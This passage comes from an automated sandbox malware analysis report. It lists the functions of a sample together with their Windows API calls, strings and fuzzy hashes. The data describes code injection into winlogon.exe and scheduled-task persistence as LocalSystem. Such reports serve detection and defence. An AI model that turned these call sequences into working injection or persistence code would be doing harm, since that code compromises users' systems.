                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040378A
                                                                                                                                                                                                                      • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040379E
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> , xrefs: 00403574
                                                                                                                                                                                                                      • 00-->, xrefs: 0040383F
                                                                                                                                                                                                                      • \\?\globalroot\systemroot\system32\tasks\, xrefs: 00403597
                                                                                                                                                                                                                      • task%d, xrefs: 0040365C
                                                                                                                                                                                                                      • p=<u, xrefs: 0040394B
                                                                                                                                                                                                                      • <Actions , xrefs: 0040380A
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Filememset$Process$HeapTokenVersion_snwprintf$AdminAllocCloseCountCreateCurrentHandleInformationModuleNameOpenPointerSizeTickUser
                                                                                                                                                                                                                      • String ID: <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> $00-->$<Actions $\\?\globalroot\systemroot\system32\tasks\$p=<u$task%d
                                                                                                                                                                                                                      • API String ID: 1601901853-1711019342
                                                                                                                                                                                                                      • Opcode ID: 47170db96ac08f3ff994b6dc4be5b54f882b4b5e8f7adbcab515d84ab27e34fc
                                                                                                                                                                                                                      • Instruction ID: 3d176fac64e71e3d45e4d3c7787755692d466ba94461fa4e5093d4db6fcc502b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 47170db96ac08f3ff994b6dc4be5b54f882b4b5e8f7adbcab515d84ab27e34fc
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 76D1E1B2504301ABD720DF64CC49F5B7BA8EFC8715F044A2AFA49B7291D774EA04CB99
                                                                                                                                                                                                                      Function 004018E0 Relevance: 52.7, APIs: 29, Strings: 1, Instructions: 234memoryprocessCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 0040190B
                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,759A5430,00000000,?), ref: 00401923
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,-00000011), ref: 0040194D
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 00401950
                                                                                                                                                                                                                      • memset.MSVCRT ref: 00401963
                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 00401988
                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 0040199C
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,-00000011), ref: 004019BA
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 004019BD
                                                                                                                                                                                                                      • memset.MSVCRT ref: 004019CD
                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00401F85,000000FF,00000000,00000000), ref: 004019EF
                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 00401A03
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000015), ref: 00401A23
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 00401A2A
                                                                                                                                                                                                                      • memset.MSVCRT ref: 00401A3A
                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00401A57
                                                                                                                                                                                                                      • CreateProcessWithLogonW.ADVAPI32(?,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00401A8B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 00401A9D
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 00401AA6
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 00401AB2
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 00401AB5
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401AC2
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 00401AC5
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401ACE
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 00401AD1
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00401F85), ref: 00401AE1
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 00401AE4
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00401F85), ref: 00401AF1
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 00401AF4
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$ByteCharMultiWide$memset$AllocFreeValidate$CreateLogonWith
                                                                                                                                                                                                                      • String ID: D
                                                                                                                                                                                                                      • API String ID: 3422789474-2746444292
                                                                                                                                                                                                                      • Opcode ID: 5d078a28952d519fbbe26917bfd943a7d615e7a55b6ec330267088c247ed4a0f
                                                                                                                                                                                                                      • Instruction ID: 871197f746f8751ebb4c77b71a3ee3543858eb92964eac2fec8a8f15daba1beb
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5d078a28952d519fbbe26917bfd943a7d615e7a55b6ec330267088c247ed4a0f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D861D8B1A013157BDB209FA69C48FAB7B6CEF84750F15412AFA18B72D0DA749900CFB4
                                                                                                                                                                                                                      Function 00401670 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 215injectionlibrarymemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 00401CF0: memset.MSVCRT ref: 00401D16
                                                                                                                                                                                                                        • Part of subcall function 00401CF0: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,74DF0F00,00000000,00000000), ref: 00401D27
                                                                                                                                                                                                                        • Part of subcall function 00401CF0: GetLastError.KERNEL32 ref: 00401D30
                                                                                                                                                                                                                        • Part of subcall function 00401CF0: SwitchToThread.KERNEL32 ref: 00401D3F
                                                                                                                                                                                                                        • Part of subcall function 00401CF0: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401D48
                                                                                                                                                                                                                        • Part of subcall function 00401CF0: GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401D68
                                                                                                                                                                                                                        • Part of subcall function 00401CF0: CloseHandle.KERNEL32(00000000), ref: 00401D79
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064,00000000,?,7604DB30,00402F58,winlogon.exe), ref: 0040169D
                                                                                                                                                                                                                      • OpenProcess.KERNEL32(001F0FFF,00000000,00000000,00000000,?,7604DB30,00402F58,winlogon.exe), ref: 004016BC
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004016DB
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 004016F1
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000), ref: 004016FD
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401718
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401728
                                                                                                                                                                                                                      • VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 0040176F
                                                                                                                                                                                                                      • WriteProcessMemory.KERNEL32(00000000,00000000,00406400,?,?), ref: 00401791
                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 004017BD
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?), ref: 004017D8
                                                                                                                                                                                                                      • WriteProcessMemory.KERNEL32(?,?,00000000,00000000,?), ref: 004017F3
                                                                                                                                                                                                                      • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00401801
                                                                                                                                                                                                                      • WriteProcessMemory.KERNEL32(00000000,?,00406400,00053200,?), ref: 00401834
                                                                                                                                                                                                                      • FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 00401844
                                                                                                                                                                                                                      • CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00401856
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000), ref: 0040186E
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0040187F
                                                                                                                                                                                                                      • RtlCreateUserThread.NTDLL ref: 004018A0
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000), ref: 004018BC
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 004018CD
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$Process$Create$CloseInformationMemoryThreadVirtualWrite$AddressAllocModuleProcSnapshotToolhelp32$CacheCurrentErrorFlushFreeInstructionLastOpenRemoteSleepSwitchUsermemcpymemset
                                                                                                                                                                                                                      • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                                      • API String ID: 3542510048-3024904723
                                                                                                                                                                                                                      • Opcode ID: b52e5c5ec1b8c5c5d1f56604e8b275c58ea21d2f27abb4c54a5c33d97d0ce9a6
                                                                                                                                                                                                                      • Instruction ID: aea8cd550169bae8ca71061e7f9b66115ece3b9acf575b2a14c75ec5d6601f55
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b52e5c5ec1b8c5c5d1f56604e8b275c58ea21d2f27abb4c54a5c33d97d0ce9a6
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1071A4B1A00315ABE7109F94DD89FAF77B8EF88701F158039FA01B72D1D7789A458768
                                                                                                                                                                                                                      Function 00401CF0 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 00401D16
                                                                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,74DF0F00,00000000,00000000), ref: 00401D27
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00401D30
                                                                                                                                                                                                                      • SwitchToThread.KERNEL32 ref: 00401D3F
                                                                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401D48
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401D68
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00401D79
                                                                                                                                                                                                                      • Module32First.KERNEL32(00000000,?), ref: 00401D9A
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,kernel), ref: 00401DBC
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,.dll), ref: 00401DC8
                                                                                                                                                                                                                      • Module32Next.KERNEL32(00000000,00000224), ref: 00401DD6
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
                                                                                                                                                                                                                      • String ID: .dll$kernel
                                                                                                                                                                                                                      • API String ID: 2979424695-2375045364
                                                                                                                                                                                                                      • Opcode ID: cee277edecab6c5d0af180dabfacc852270d041963c786b3d0827f3f906c2871
                                                                                                                                                                                                                      • Instruction ID: c283e2339ecb9e17340db761c1aee5b765af185a9d94a0bcce3757d144b29585
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cee277edecab6c5d0af180dabfacc852270d041963c786b3d0827f3f906c2871
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8621AB72A012146BD710ABA5AD4CFDF77A89F99321F100276EA14F32E0EA34ED458768
                                                                                                                                                                                                                      Function 004034C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 004034E7
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00403509
                                                                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000), ref: 00403510
                                                                                                                                                                                                                      • GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403531
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00403547
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • \\?\globalroot\systemroot\system32\tasks\, xrefs: 004034C9
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ProcessToken$CloseCurrentHandleInformationOpenVersion
                                                                                                                                                                                                                      • String ID: \\?\globalroot\systemroot\system32\tasks\
                                                                                                                                                                                                                      • API String ID: 4133869067-1576788796
                                                                                                                                                                                                                      • Opcode ID: cd9cee1f28ce7391e7550083cfa8bb7bde7286681f103bbdee0c8fcbe7e62476
                                                                                                                                                                                                                      • Instruction ID: a2ec502b7bb4083542b5d35a97e2222aece09e1ccb5a5fef7106c32bda11fc1e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cd9cee1f28ce7391e7550083cfa8bb7bde7286681f103bbdee0c8fcbe7e62476
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 150165B5A00218FBEB24DFA0DD48F9A7BBCAB44B06F0080A5E609B2191D6749B44DF65
                                                                                                                                                                                                                      Function 0043A650 Relevance: 1.6, Strings: 1, Instructions: 320COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID: VUUU
                                                                                                                                                                                                                      • API String ID: 0-2040033107
                                                                                                                                                                                                                      • Opcode ID: f79c7f42cc70f7068980618b596982cd5e35ccfe9f944101c43b8ac65fe0c5e4
                                                                                                                                                                                                                      • Instruction ID: 83c8b6d4ae9392d60502dd360fb7ca1817b1c3f4776dddc770d92cd40da689bc
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f79c7f42cc70f7068980618b596982cd5e35ccfe9f944101c43b8ac65fe0c5e4
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8FC1F571A4065647C728CF69C5902BAFBF1BF98310F08A12FD4D2D6B81E338E555CB55
                                                                                                                                                                                                                      Function 00423970 Relevance: .8, Instructions: 833COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 020a8c1551cdac237fbd27fc613c63b8374db010d48759c7608309d9e20808df
                                                                                                                                                                                                                      • Instruction ID: 49f4f21d9b48f79dac2c560b4f9f45e3af11d3fe5a8b8c575f21095663944224
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 020a8c1551cdac237fbd27fc613c63b8374db010d48759c7608309d9e20808df
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 466217302083668FE711CF349998AAB7BE4EF9B342F448559E881C7372DB35C949C799
                                                                                                                                                                                                                      Function 004356D0 Relevance: .7, Instructions: 705COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: c2ea4baa25f466abac0af4e06c27490f445ebf81a1911c24c4fc019493ca33d5
                                                                                                                                                                                                                      • Instruction ID: c7ae1df08a76fa61e3c99c46e8343ff6a04015de72be0cc750c2f716a6a279e4
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c2ea4baa25f466abac0af4e06c27490f445ebf81a1911c24c4fc019493ca33d5
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F442D171900A499FDB14DFA8C880AEFBBF5EF4C308F14555EE446A7341D738A946CBA8
                                                                                                                                                                                                                      Function 004460F0 Relevance: .5, Instructions: 504COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 9024046f4ec778ac0f2bc939b39aa8ef5a284e4206ce7968b5d9ca164917f460
                                                                                                                                                                                                                      • Instruction ID: 296f88951ecf7cea7bff09f9537e53bf2d2ecc764958e0785ba560d75f276c2e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9024046f4ec778ac0f2bc939b39aa8ef5a284e4206ce7968b5d9ca164917f460
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6112E5306017849FEB25CF18C5906AEBBF1BF46310F16855AE8E54B792C338ED46CB56
                                                                                                                                                                                                                      Function 00445A20 Relevance: .5, Instructions: 499COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: d68117118ec2e5c05b55bad5372fd5ac0e5d8e685fa30279994fb4ae286abc12
                                                                                                                                                                                                                      • Instruction ID: 373094f0e44d4ed5b4a76297d3e75846c5555569b6fb32489a2bef93388bd825
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d68117118ec2e5c05b55bad5372fd5ac0e5d8e685fa30279994fb4ae286abc12
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C812D230A00B859FEF21CF18C590AAEB7F1FF95310F14855AE8A64B792C338AD46CB55
                                                                                                                                                                                                                      Function 004467C0 Relevance: .5, Instructions: 499COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: f4f35a6acd8340eba5d2f955567a6f50c4cb051c9736d012dfe4b0e1d8c61a05
                                                                                                                                                                                                                      • Instruction ID: cfa054cb93e044cdae65f2de48f0eb828664dc1768648188419bb013471483e8
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f4f35a6acd8340eba5d2f955567a6f50c4cb051c9736d012dfe4b0e1d8c61a05
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EA12D530A057849FEB25CF18C490AAABBF1EF53314F15855EE8E54B391C338AD46CB66
                                                                                                                                                                                                                      Function 00444790 Relevance: .5, Instructions: 494COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: fe7f905eb35857b92b021dee202d37908d4751a86c5a789a819d9c595c827d8a
                                                                                                                                                                                                                      • Instruction ID: c484f8b887487c68eb1831faa77cd2835b2ef54b83a3a9b38c3ea20a6c7484b0
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fe7f905eb35857b92b021dee202d37908d4751a86c5a789a819d9c595c827d8a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AA12D430A017859FEB21CF18C58079ABBF1FF96310F19855AE8A59B381D338ED46CB65
                                                                                                                                                                                                                      Function 00442340 Relevance: .5, Instructions: 474COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 53e7ffd853d592cf597099417c9d39be36ad4c569da498972a57c8cd5ff369e0
                                                                                                                                                                                                                      • Instruction ID: 9417f9ed4064ddd1c3f6edb80d8f66b01d291d1ab21ea86703028fde516e46eb
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 53e7ffd853d592cf597099417c9d39be36ad4c569da498972a57c8cd5ff369e0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8E02F530A007459FEB20CF28C6906AFB7F1FF41310F55855AF8A54B391D778A986CBA5
                                                                                                                                                                                                                      Function 00442FA0 Relevance: .5, Instructions: 474COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: d05b39787be36e928b4378603e27f9990888dd59e2b3d0c943f83313aa68d1ff
                                                                                                                                                                                                                      • Instruction ID: 0e2bac03be3182a769e9f59211ddb04f7312f67a2832feff6941ae3a6f9bab68
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d05b39787be36e928b4378603e27f9990888dd59e2b3d0c943f83313aa68d1ff
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9002F730A007459FEB24CF18C490AAFB7F1FF41715F14855AE8A68B391D738AE86CB65
                                                                                                                                                                                                                      Function 00443C00 Relevance: .5, Instructions: 473COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
